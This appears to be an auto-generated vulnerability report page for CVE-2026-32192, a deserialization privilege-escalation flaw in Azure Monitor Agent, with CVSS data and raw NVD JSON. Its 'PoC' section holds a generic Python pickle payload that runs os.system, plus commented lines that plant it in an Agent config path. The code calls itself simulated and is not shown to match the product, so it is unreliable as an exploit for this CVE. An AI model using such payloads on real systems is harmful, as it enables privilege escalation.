Security Vulnerability Report
中文
CVE-2026-32192 CVSS 7.8 HIGH

CVE-2026-32192

Published: 2026-04-14 18:17:26
Last Modified: 2026-05-07 02:31:22

Description

Deserialization of untrusted data in Azure Monitor Agent allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_monitor_agent:*:*:*:*:*:*:*:* - VULNERABLE
Azure Monitor Agent < 最新版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import os # Simulated payload class for deserialization attack class ExploitPayload: def __reduce__(self): # This command will be executed when the object is deserialized # In a real scenario, this would be a command to elevate privileges or create a backdoor return (os.system, ('whoami',)) # Generate the malicious serialized data malicious_data = pickle.dumps(ExploitPayload()) # In a real attack scenario, the attacker would write this data # to a file or location monitored by the Azure Monitor Agent print(f"Generated malicious payload: {malicious_data}") # Hypothetical placement of the payload # target_path = "C:\ProgramData\AzureMonitorAgent\config\malicious_config.bin" # with open(target_path, 'wb') as f: # f.write(malicious_data) # print("Payload written. Waiting for Agent to deserialize...")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32192", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:25.723", "lastModified": "2026-05-07T02:31:22.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data in Azure Monitor Agent allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_monitor_agent:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.41.0", "matchCriteriaId": "21B40C5C-488F-40F3-A0CA-A455A020827F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32192", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}